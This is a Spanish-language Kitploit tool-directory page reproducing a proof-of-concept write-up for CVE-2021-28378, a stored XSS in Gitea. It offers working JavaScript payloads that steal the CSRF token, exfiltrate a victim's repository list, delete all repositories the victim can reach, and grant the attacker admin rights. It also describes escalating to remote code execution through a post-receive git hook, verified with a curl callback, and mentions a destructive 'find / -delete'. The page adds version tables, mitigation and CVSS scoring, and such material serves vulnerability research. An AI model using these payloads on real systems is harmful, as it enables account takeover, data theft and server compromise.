Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-28378 — Prueba de concepto y análisis detallado de CVE-2021-28378, una vulnerabilidad XSS almacenada en Gitea que permite inyección de código arbitrario, escalada de privilegios y ejecución remota de código a través de ganchos de git. | Kitploit
Herramientas/GitHubGitHub/pandatix/cve-2021-28378
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubpandatix/cve-2021-28378

CVE-2021-28378

Prueba de concepto y análisis detallado de CVE-2021-28378, una vulnerabilidad XSS almacenada en Gitea que permite inyección de código arbitrario, escalada de privilegios y ejecución remota de código a través de ganchos de git.

Ver Repositorio
43hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-28378

Detalles sobre este CVE aquí.

Este CVE se debe a la ausencia de escape de cadenas en el lado del cliente para el contenido obtenido desde el servidor. Permite a un atacante inyectar código arbitrario fácilmente, creando un comentario en un issue o un pull request. Esto fue introducido en el commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5, a finales de enero de 2020, pero debido a un squash no podemos saber exactamente quién hizo esto para investigar errores similares introducidos.

En primer lugar, entendamos de dónde proviene esta vulnerabilidad. Para ello, veamos el commit que corrige este CVE.

Antes:

  • Primero:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • Segundo:
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

Podemos ver que no hay escapado HTML en label.name, , y , que son cadenas que un usuario puede manipular y, por tanto, inyectar código arbitrario. Observa que no puede manipularse realmente para inyectar código, ya que debe seguir demasiadas reglas () que no podemos evadir con este CVE. Esto es exactamente lo que corrige el PR al pasarlas por .

issue.repository.full_name
issue.title
body
issue.repository.full_name
[\w._-]+
htmlEscape

Después:

  • Primero:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • Segundo:
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

Entendiendo la vulnerabilidad

Echemos un vistazo rápido al archivo web_src/js/features/contextpopup.js para averiguar cómo desencadenar el CVE.

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

Lo que vemos ahí es que para cada nodo con la clase ref-issue, añadiremos un popup vulnerable. Ahora, necesitamos encontrar dónde se envía un ref-issue al usuario: ¡hagamos grep (y quedémonos solo con los resultados interesantes, es decir, no con archivos de prueba o similares)! El siguiente número de commit corresponde al tag 1.12.4, la versión por defecto del archivo oficial docker-compose.yml, afectado por este CVE.

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

Ahora sabemos que no hay contenido estático con la clase ref-issue, sino que se genera dinámicamente. La última no es interesante, ya que es solo una regla de política del sanitizador. Las demás son interesantes; veremos por qué.

Profundicemos en modules/markup/html.go.

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

También necesitaremos entender qué hace getIssueFullPattern.

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

Resumamos para entender qué trabajo se hace ahí.

En fullIssuePatternProcessor, primero debemos asegurarnos de que ctx.metas no sea nil (lo que asumimos como cierto, ya que es construido por funciones/métodos superiores en la pila de llamadas). Luego comprobamos si los datos del nodo coinciden con una ruta como http://mygitea.com/gituser/myrepo/issues/1. Si hay coincidencia, la reemplazamos por un enlace. Si el enlace es sobre el mismo usuario y repositorio, se reemplaza por el patrón #<issue_id>, en caso contrario por <user>/<repo>#<issue_id>. En ambos casos, se añade la clase ref-issue para generar el popup.

Los otros resultados del grep hacen algo parecido.

¡Hora de jugar!

Ahora que tenemos el contexto, que se trata de reemplazar un enlace como http://mygitea.com/gituser/myrepo/issues/1 por un enlace más corto, podemos deducir dónde se realiza dicho trabajo: en los issues y PR, donde puedes añadir una etiqueta y/o publicar un comentario. Para esto, supongamos que tienes un repositorio con permisos de escritura.

Etiqueta

Ve a tu repositorio y crea una nueva etiqueta con un nombre que contenga código arbitrario (como <script>alert('label.name')</script>).

Issue

Ve a los issues de tu repositorio y crea un nuevo issue con código arbitrario en el título y el cuerpo, y añádele la etiqueta anterior.

Ejecutemos algo de código

Crea un nuevo issue en cualquier repositorio y añade en su cuerpo un enlace a tu issue inyectado, como http://mygitea.com/gituser/myrepo/issues/1. Será reemplazado por el enlace que vimos anteriormente, y cuando alguien pase el ratón sobre el enlace, el código arbitrario se ejecutará: se mostrará un popup que incrusta label.name.

Hora de explotar

Se ha demostrado que CVE-2021-28378 permite la inyección de código arbitrario. Imaginemos lo que un atacante podría hacer.

En Gitea, tienes un token CSRF que verifica tu identidad al rellenar formularios y/o llamar a la API, evitando problemas de seguridad como incrustar un iframe de Gitea para robar tus accesos. El token CSRF está almacenado en tus cookies (_csrf), pero también en casi todas las páginas web (excepto algunas como /api/v1/swagger) que un usuario visita, dentro de ciertos campos... Y por tanto en las páginas de issues/PR. El campo más interesante que lo contiene está dentro de la cabecera común de las páginas HTML, siempre con el mismo XPath: /html/head/meta[9].

Con estos datos, podemos enviar acciones autenticadas desde cualquier usuario afectado por nuestro payload, simplemente obteniendo el token CSRF en JS con lo siguiente: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.

Ahora es el momento de usar tu creatividad para construir varios ataques. Ten en cuenta que tendrás limitaciones en tus acciones, pero no demasiadas:

  • label.name y issue.title deben ser cortos, por lo que no cabrán muchos payloads. No obstante, puedes inyectar un script con un atributo src que haga referencia a cualquier script que quieras;
  • body no tiene límite de longitud, pero la vista previa del popup limita la vista previa de los datos. Tu payload tendrá que estar al principio si quieres que se active. No obstante, puedes hacer como se indicó anteriormente con un script y un atributo src.

Veamos algunos ejemplos que puedes construir.

Obtener todos los repositorios de un usuario

Imagina el escenario en el que un atacante quiere obtener todos los repositorios a los que tienes acceso. Esto demuestra que el ataque puede romper toda tu confidencialidad. Este ataque se consigue en 3 pasos:

  • robar el token CSRF;
  • obtener la lista de repositorios;
  • crear un nuevo ticket con el contenido JSON crudo del paso anterior.

Escribamos algo de código JS para hacer esto:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

Coloca este payload en su propio archivo, súbelo a tu repositorio e inyéctalo en el cuerpo de un issue usando algo como <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Ahora el atacante puede comentar un issue/PR que haga referencia a este issue inyectado, y cuando alguien pase el ratón sobre el enlace, ¡todos los datos de sus repositorios serán robados por el atacante!

Eliminar todos los repositorios a los que un usuario tiene acceso

Imagina el escenario en el que un atacante quiere eliminar todos los repositorios a los que tienes acceso. Esto demuestra que el ataque puede romper toda tu integridad. Este ataque se consigue en 3 pasos:

  • robar el token CSRF ;
  • obtener la lista de repositorios ;
  • por cada repositorio, eliminarlo (o al menos intentarlo).

Escribamos algo de código JS para hacer esto:

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

Coloca este payload en su propio archivo, súbelo a tu repositorio e inyéctalo en el cuerpo de un issue usando algo como <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Ahora el atacante puede comentar un issue/PR que haga referencia a este issue inyectado, y cuando alguien pase el ratón sobre la referencia, ¡todos los repositorios a los que tiene acceso serán eliminados!

Obtener los derechos de administrador

Imagina el escenario en el que un atacante quiere obtener los derechos de administrador. Esto demuestra que es posible una escalada de privilegios. Este ataque se consigue en 2 pasos:

  • robar el token CSRF ;
  • otorgar derechos de administrador al atacante (o al menos intentarlo).

Escribamos algo de código JS para hacer esto:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

Ten en cuenta que el valor de login_type puede cambiar según tu versión de Gitea y la forma en que tu instancia gestiona el inicio de sesión.

Coloca este payload en su propio archivo, súbelo a tu repositorio e inyéctalo en el cuerpo de un issue usando algo como <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Ahora el atacante puede comentar un issue/PR que haga referencia a este issue inyectado, y cuando alguien con los suficientes permisos pase el ratón sobre la referencia, ¡el atacante obtendrá derechos de administrador! También puede asignar el issue a un administrador, o crear el issue en un repositorio que un administrador esté viendo (para que reciba una notificación) a fin de aumentar sus posibilidades.

Conseguir un RCE

La parte """más divertida""" de Gitea es que las consideraciones de seguridad no formaban parte del proceso al implementar git hooks. Es probablemente una de las peores ideas que podrías implementar.

Una vez que tienes derechos de administrador, puedes otorgarte el privilegio de gestionar git hooks (lo que se consigue con el payload anterior). Procede como hace el módulo Metasploit de Gitea Git Hooks Remote Code Execution:

  • añade tu payload bash al git-hook post-receive;
  • haz commit y push de algo, aunque sea vacío;
  • comprueba el efecto del payload.

Para asegurarnos de que este RCE es válido, pongamos lo siguiente, con un id válido.

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

En el panel de inspección de RequestBin, después de enviar un archivo que activa el git hook post-receive, vemos que se realizó una petición con un User-Agent: curl/<version>, lo que demuestra que es un RCE válido.

Ten en cuenta que esta funcionalidad implica que, para cualquier XSS que pueda ser activado por un administrador, siempre que el valor _csrf esté incrustado en casi todas las páginas web, puedes conseguir un RCE en Gitea.

Cómo prevenir

Realiza tus actualizaciones según las versiones afectadas por el CVE (consulta el informe oficial). Al momento de escribir esto: 1.12.0 a 1.13.4 (excluida).

Notas

Aquí tienes una lista de versiones afectadas y su estado de prueba. Ten en cuenta que para las versiones 1.13.X, tendrás que añadir DISABLE_GIT_HOOKS = false en el archivo app.ini, en la sección [security], que podría ubicarse en data/gitea/conf/app.ini, dependiendo de dónde esté tu carpeta de datos (para el archivo docker-compose.yml documentado en DockerHub, estará en la misma carpeta).

VersiónXSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅

✅: probado y funcionando ; ❓: necesita pruebas ; ❌: probado que no funciona

Esta tabla está hecha para guiar al lector en el cálculo de la puntuación: solo sirve para discutir la puntuación y no debe tomarse como una orden.

MétricaValorExplicación
AVNetworkUsa HTTP para interactuar.
ACLowSolo necesita un issue (por defecto en Gitea es muy fácil crear uno, ya que está habilitado para todos) o un pull request.
PRLowEn la mayoría de los contextos se necesita una cuenta para crear un issue (por defecto, puedes registrar nuevas cuentas). Todas las cuentas pueden crear un issue en un repositorio de solo lectura, excepto en el caso de que el repositorio se haya configurado para evitar issues (que no es la configuración por defecto y rara vez se modifica).
UIRequiredUn usuario o administrador debe pasar el ratón sobre el enlace infectado para activar un payload.
SChangedCon el RCE, tienes acceso a la máquina anfitriona y, por tanto, a los servicios alojados en ella.
CHighUna vez que tienes los derechos de administrador, puedes gestionarlo todo, incluso si se ha configurado como privado. Puedes robar credenciales de la base de datos, conectarte a ella usando el RCE y extraer datos. Con el RCE, puedes leer directamente el sistema de archivos, donde Gitea no realiza comprobaciones de autenticación/autorización.
IHighUna vez que tienes los derechos de administrador, puedes modificar derechos, visibilidad, cambiar el código del repositorio, incluso eliminar el repositorio. Con el RCE, eres libre de indagar en todo y, por tanto, afectar la integridad de usuarios, archivos...
AHighDado el RCE, puedes simplemente eliminar todo el sistema de archivos con find / -delete, causando una pérdida total de disponibilidad.
EHighDado el script de Python exploit.py, puedes explotar fácilmente la vulnerabilidad, desde una cuenta básica hasta una reverse shell como root.
RLOfficial FixCorregido por el commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>, fusionado en master y, por tanto, en Gitea 1.13.4.
RCConfirmedEste informe confirma y muestra múltiples exploits, desde el análisis del origen del XSS hasta un ejemplo de RCE y script.

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

Nombre del grupo de métricasPuntuaciónDescripción
Base Score9.0Crítico
Temporal Score8.6Alto
Descargar herramienta